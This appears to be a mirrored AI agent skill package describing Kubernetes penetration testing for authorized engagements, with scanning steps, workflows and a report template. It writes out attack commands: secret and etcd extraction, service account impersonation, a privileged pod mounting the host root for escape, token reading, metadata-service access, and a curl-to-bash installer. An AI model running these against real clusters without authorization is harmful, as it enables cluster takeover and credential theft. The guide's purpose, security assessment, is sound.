What it does. Evaluates Kubernetes cluster security by actively simulating attacker techniques against the API server, kubelet, etcd, pods, RBAC, network policy, and secrets, using kube-hunter, Kubescape, peirates, and manual kubectl exploitation to find paths to cluster compromise. Use for an authorized penetration test or hands-on validation that controls actually stop an attacker. Keywords: kube-hunter, Kubescape, peirates, kubelet 10250, anonymous auth, token theft, lateral movement, cluster takeover. Do not use for a configuration-only compliance audit - use performing-kubernetes-cis-benchmark-with-kube-bench. Part of mukul975/Anthropic-Cybersecurity-Skills (817 security skills) (mukul975/Anthropic-Cybersecurity-Skills).

Upstream	mukul975/Anthropic-Cybersecurity-Skills
Skill file	skills/performing-kubernetes-penetration-testing/SKILL.md
License	Apache-2.0 (skill folder LICENSE)
Author	mukul975
Fetched	2026-09-10

Install

• npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-kubernetes-penetration-testing, or copy the skill folder into ~/.claude/skills/performing-kubernetes-penetration-testing/.
• Raw file: curl -sL https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-kubernetes-penetration-testing/SKILL.md

SKILL.md (verbatim)

name: performing-kubernetes-penetration-testing
description: >-
  Evaluates Kubernetes cluster security by actively simulating attacker techniques against the
  API server, kubelet, etcd, pods, RBAC, network policy, and secrets, using kube-hunter,
  Kubescape, peirates, and manual kubectl exploitation to find paths to cluster compromise.
  Use for an authorized penetration test or hands-on validation that controls actually stop an
  attacker. Keywords: kube-hunter, Kubescape, peirates, kubelet 10250, anonymous auth, token
  theft, lateral movement, cluster takeover. Do not use for a configuration-only compliance
  audit - use performing-kubernetes-cis-benchmark-with-kube-bench.
domain: cybersecurity
subdomain: container-security
tags:
- containers
- kubernetes
- security
- penetration-testing
- offensive-security
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- PR.PS-01
- PR.IR-01
- ID.AM-08
- DE.CM-01
mitre_attack:
- T1610
- T1611
- T1609
- T1525

Performing Kubernetes Penetration Testing

Overview

Kubernetes penetration testing systematically evaluates cluster security by simulating attacker techniques against the API server, kubelet, etcd, pods, RBAC, network policies, and secrets. Using tools like kube-hunter, Kubescape, peirates, and manual kubectl exploitation, testers identify misconfigurations that could lead to cluster compromise.

When to Use

• When conducting security assessments that involve performing kubernetes penetration testing
• When following incident response procedures for related security events
• When performing scheduled security testing or auditing activities
• When validating security controls through hands-on testing

Prerequisites

• Authorized penetration testing engagement
• Kubernetes cluster access (various levels for different test scenarios)
• kube-hunter, kubescape, kube-bench installed
• kubectl configured
• Network access to cluster components

Core Concepts

Kubernetes Attack Surface

Component	Port	Attack Vectors
API Server	6443	Auth bypass, RBAC abuse, anonymous access
Kubelet	10250/10255	Unauthenticated access, command execution
etcd	2379/2380	Unauthenticated read, secret extraction
Dashboard	8443	Default credentials, token theft
NodePort Services	30000-32767	Service exposure, application exploits
CoreDNS	53	DNS spoofing, zone transfer

MITRE ATT&CK for Kubernetes

Phase	Techniques
Initial Access	Exposed Dashboard, Kubeconfig theft, Application exploit
Execution	exec into container, CronJob, deploy privileged pod
Persistence	Backdoor container, mutating webhook, static pod
Privilege Escalation	Privileged container, node access, RBAC abuse
Defense Evasion	Pod name mimicry, namespace hiding, log deletion
Credential Access	Secret extraction, service account token theft
Lateral Movement	Container escape, cluster internal services

Workflow

Step 1: External Reconnaissance

# Discover Kubernetes services
nmap -sV -p 443,6443,8443,2379,10250,10255,30000-32767 target-cluster.com

# Check for exposed API server
curl -k https://target-cluster.com:6443/api
curl -k https://target-cluster.com:6443/version

# Check anonymous authentication
curl -k https://target-cluster.com:6443/api/v1/namespaces

# Check for exposed kubelet
curl -k https://node-ip:10250/pods
curl http://node-ip:10255/pods  # Read-only kubelet

Step 2: Automated Scanning with kube-hunter

# Install kube-hunter
pip install kube-hunter

# Remote scan
kube-hunter --remote target-cluster.com

# Internal network scan (from within cluster)
kube-hunter --internal

# Pod scan (from within a pod)
kube-hunter --pod

# Generate report
kube-hunter --remote target-cluster.com --report json --log output.json

Step 3: CIS Benchmark Assessment with kube-bench

# Run kube-bench on master node
kube-bench run --targets master

# Run on worker node
kube-bench run --targets node

# Check specific sections
kube-bench run --targets master --check 1.2.1,1.2.2,1.2.3

# JSON output
kube-bench run --json > kube-bench-results.json

# Run as Kubernetes job
kubectl apply -f https://raw.githubusercontent.com/aquasecurity/kube-bench/main/job.yaml
kubectl logs -l app=kube-bench

Step 4: Framework Compliance with Kubescape

# Install kubescape
curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash

# Scan against NSA/CISA hardening guide
kubescape scan framework nsa

# Scan against MITRE ATT&CK
kubescape scan framework mitre

# Scan against CIS Kubernetes Benchmark
kubescape scan framework cis-v1.23-t1.0.1

# Scan specific namespace
kubescape scan framework nsa --namespace production

# JSON output
kubescape scan framework nsa --format json --output kubescape-report.json

Step 5: RBAC Exploitation Testing

# Check current permissions
kubectl auth can-i --list

# Check specific high-value permissions
kubectl auth can-i create pods
kubectl auth can-i create pods --subresource=exec
kubectl auth can-i get secrets
kubectl auth can-i create clusterrolebindings
kubectl auth can-i '*' '*'  # cluster-admin check

# Enumerate service account tokens
kubectl get serviceaccounts -A
kubectl get secrets -A -o json | jq '.items[] | select(.type=="kubernetes.io/service-account-token") | {name: .metadata.name, namespace: .metadata.namespace}'

# Check for overly permissive roles
kubectl get clusterrolebindings -o json | jq '.items[] | select(.subjects[]?.name=="system:anonymous" or .subjects[]?.name=="system:unauthenticated")'

# Test service account impersonation
kubectl --as=system:serviceaccount:default:default get pods

Step 6: Secret Extraction Testing

# List all secrets
kubectl get secrets -A

# Extract specific secret
kubectl get secret db-credentials -o jsonpath='{.data.password}' | base64 -d

# Check for secrets in environment variables
kubectl get pods -A -o json | jq '.items[].spec.containers[].env[]? | select(.valueFrom.secretKeyRef)'

# Check for secrets in mounted volumes
kubectl get pods -A -o json | jq '.items[].spec.volumes[]? | select(.secret)'

# Search etcd directly (if accessible)
ETCDCTL_API=3 etcdctl --endpoints=https://etcd-ip:2379 \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \
  --cert=/etc/kubernetes/pki/etcd/server.crt \
  --key=/etc/kubernetes/pki/etcd/server.key \
  get /registry/secrets --prefix --keys-only

Step 7: Pod Exploitation

# Deploy test pod with elevated privileges
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: pentest-pod
  namespace: default
spec:
  hostNetwork: true
  hostPID: true
  containers:
  - name: pentest
    image: ubuntu:22.04
    command: ["sleep", "infinity"]
    securityContext:
      privileged: true
    volumeMounts:
    - name: host-root
      mountPath: /host
  volumes:
  - name: host-root
    hostPath:
      path: /
EOF

# Exec into pod
kubectl exec -it pentest-pod -- bash

# From inside privileged pod - access host filesystem
chroot /host

# From inside any pod - check internal services
curl -k https://kubernetes.default.svc/api/v1/namespaces
cat /var/run/secrets/kubernetes.io/serviceaccount/token

Step 8: Network Policy Testing

# Check for network policies
kubectl get networkpolicies -A

# Test pod-to-pod communication (should be blocked by policies)
kubectl run test-netpol --image=busybox --restart=Never -- wget -qO- --timeout=2 http://target-service.namespace.svc

# Test egress to external services
kubectl run test-egress --image=busybox --restart=Never -- wget -qO- --timeout=2 http://example.com

# Test access to metadata service (cloud environments)
kubectl run test-metadata --image=busybox --restart=Never -- wget -qO- --timeout=2 http://169.254.169.254/latest/meta-data/

Validation Commands

# Verify kube-hunter findings
kube-hunter --remote $CLUSTER_IP --report json

# Cross-validate with Kubescape
kubescape scan framework nsa --format json

# Check remediation effectiveness
kube-bench run --targets master,node --json

# Clean up pentest resources
kubectl delete pod pentest-pod
kubectl delete pod test-netpol test-egress test-metadata

References

• kube-hunter - Kubernetes Penetration Testing
• Kubescape - Kubernetes Security Platform
• kube-bench - CIS Benchmark
• MITRE ATT&CK Containers Matrix
• Kubernetes Threat Matrix - Microsoft

Other files in this skill

• LICENSE
• assets/template.md
• references/api-reference.md
• references/standards.md
• references/workflows.md
• scripts/agent.py
• scripts/process.py

assets/template.md (verbatim)

Kubernetes Penetration Test Report Template

Engagement Details

Field	Value
Client
Cluster
Test Type	External / Internal / Assumed-Breach
Tester
Date Range
Scope

Executive Summary

[Brief overview of findings and overall cluster security posture]

Findings Summary

Severity	Count
CRITICAL
HIGH
MEDIUM
LOW

Detailed Findings

Finding 1: [Title]

• Severity: CRITICAL / HIGH / MEDIUM / LOW
• Category: Authentication / RBAC / Secrets / Network / Pod Security
• MITRE ATT&CK: T1xxx
• Description:
• Evidence:
• Impact:
• Remediation:
• References:

Attack Paths Identified

Path 1: [Description]

[Initial Access] --> [Step 2] --> [Step 3] --> [Impact]

Recommendations (Priority Order)

Priority	Recommendation	Effort	Impact
1		Low/Med/High
2

Cleanup Confirmation

• All test pods removed
• All test RBAC resources removed
• All test namespaces cleaned up
• No persistent backdoors remain

references/api-reference.md (verbatim)

API Reference — Performing Kubernetes Penetration Testing

Libraries Used

• subprocess: Execute kubectl commands for cluster reconnaissance and testing
• json: Parse Kubernetes API JSON output

CLI Interface

python agent.py recon
python agent.py sa-perms [--namespace default]
python agent.py dashboards
python agent.py escape [--namespace default]

Core Functions

enumerate_cluster_info() — Cluster reconnaissance

Gathers: K8s version, node info (OS, kubelet), namespaces, services with types/ports.

test_service_account_permissions(namespace) — RBAC permission testing

Tests 8 permissions via kubectl auth can-i: get pods, list/get secrets, create pods, exec into pods, get nodes, list namespaces, create clusterroles.

scan_exposed_dashboards() — Find management interfaces

Searches for: dashboard, grafana, prometheus, kibana, jaeger, argocd, rancher, lens. Flags LoadBalancer/NodePort services as externally accessible.

check_pod_escape_vectors(namespace) — Container escape analysis

Detects: privileged mode, CAP_SYS_ADMIN/SYS_PTRACE, hostPath mounts (/, /etc, docker.sock, /proc, /sys), hostPID namespace, hostNetwork.

Dangerous Permissions (CRITICAL)

• list secrets / get secrets --all-namespaces
• create pods (pod creation with escalation)
• create pods/exec (remote code execution)
• create clusterroles (RBAC escalation)

Dependencies

System: kubectl with cluster access No Python packages required.

references/standards.md (verbatim)

Standards Reference - Kubernetes Penetration Testing

MITRE ATT&CK for Containers

Relevant Techniques

ID	Technique	Phase
T1609	Container Administration Command	Execution
T1610	Deploy Container	Execution
T1611	Escape to Host	Privilege Escalation
T1613	Container and Resource Discovery	Discovery
T1612	Build Image on Host	Defense Evasion
T1552.007	Container API	Credential Access

CIS Kubernetes Benchmark v1.8

Master Node Checks

• 1.1: Control Plane Configuration Files
• 1.2: API Server (anonymous auth, RBAC, audit logging)
• 1.3: Controller Manager
• 1.4: Scheduler

Worker Node Checks

• 4.1: Worker Node Configuration Files
• 4.2: Kubelet (anonymous auth, authorization mode)

Policies

• 5.1: RBAC and Service Accounts
• 5.2: Pod Security Standards
• 5.3: Network Policies
• 5.4: Secrets Management

NSA/CISA Kubernetes Hardening Guide

Key Areas

• Scan containers and pods for vulnerabilities
• Run containers as non-root users
• Use network policies to restrict traffic
• Encrypt secrets at rest
• Audit logging for all API calls
• Scan for misconfigurations regularly

OWASP Kubernetes Top 10

1. K01: Insecure Workload Configurations
2. K02: Supply Chain Vulnerabilities
3. K03: Overly Permissive RBAC
4. K04: Lack of Centralized Policy Enforcement
5. K05: Inadequate Logging and Monitoring
6. K06: Broken Authentication
7. K07: Missing Network Segmentation
8. K08: Secrets Management Failures
9. K09: Misconfigured Cluster Components
10. K10: Outdated and Vulnerable Kubernetes Components

references/workflows.md (verbatim)

Workflows - Kubernetes Penetration Testing

Workflow 1: External Kubernetes Pentest

[Scope Definition] --> [Reconnaissance] --> [Service Discovery]
        |                     |                    |
        v                     v                    v
  Define targets        DNS, OSINT,          nmap 6443,8443
  Rules of engagement   cloud metadata       10250,2379,30000+
        |                     |                    |
        +---------------------+--------------------+
                              |
                              v
                    [Automated Scanning]
                    kube-hunter --remote
                    kubescape scan
                    kube-bench (if access)
                              |
                    +---------+---------+
                    |                   |
                    v                   v
            [API Server Tests]   [Kubelet Tests]
            Anonymous auth       Unauthenticated access
            RBAC enumeration     Command execution
            Token theft          Pod listing
                    |                   |
                    +-------------------+
                              |
                              v
                    [Exploitation]
                    Deploy privileged pod
                    Extract secrets
                    Pivot to other namespaces
                              |
                              v
                    [Report and Remediate]

Workflow 2: Internal/Assumed-Breach Testing

Step 1: Initial Pod Access
  - Deploy test pod in target namespace
  - Collect service account token
  - Enumerate permissions: kubectl auth can-i --list

Step 2: Internal Reconnaissance
  - List namespaces, pods, services
  - Discover internal services via DNS
  - Check metadata endpoints (cloud IMDS)
  - Identify NetworkPolicy gaps

Step 3: Privilege Escalation
  - Check for wildcard RBAC roles
  - Test service account token from other pods
  - Attempt to create privileged pods
  - Check for vulnerable admission controllers

Step 4: Lateral Movement
  - Access services in other namespaces
  - Extract secrets and configmaps
  - Attempt container escape
  - Access cloud provider metadata

Step 5: Impact Assessment
  - Demonstrate data access (secrets, PVCs)
  - Show cluster-wide compromise path
  - Document attack chain

Workflow 3: Pentest Cleanup

[Testing Complete]
        |
        v
[Remove all pentest pods]
kubectl delete pods -l purpose=pentest -A
        |
        v
[Remove test RBAC resources]
kubectl delete rolebinding pentest-rb
kubectl delete serviceaccount pentest-sa
        |
        v
[Verify cleanup]
kubectl get all -l purpose=pentest -A
        |
        v
[Document findings and hand off report]

Back to mukul975/Anthropic-Cybersecurity-Skills (817 security skills) or Agent skills.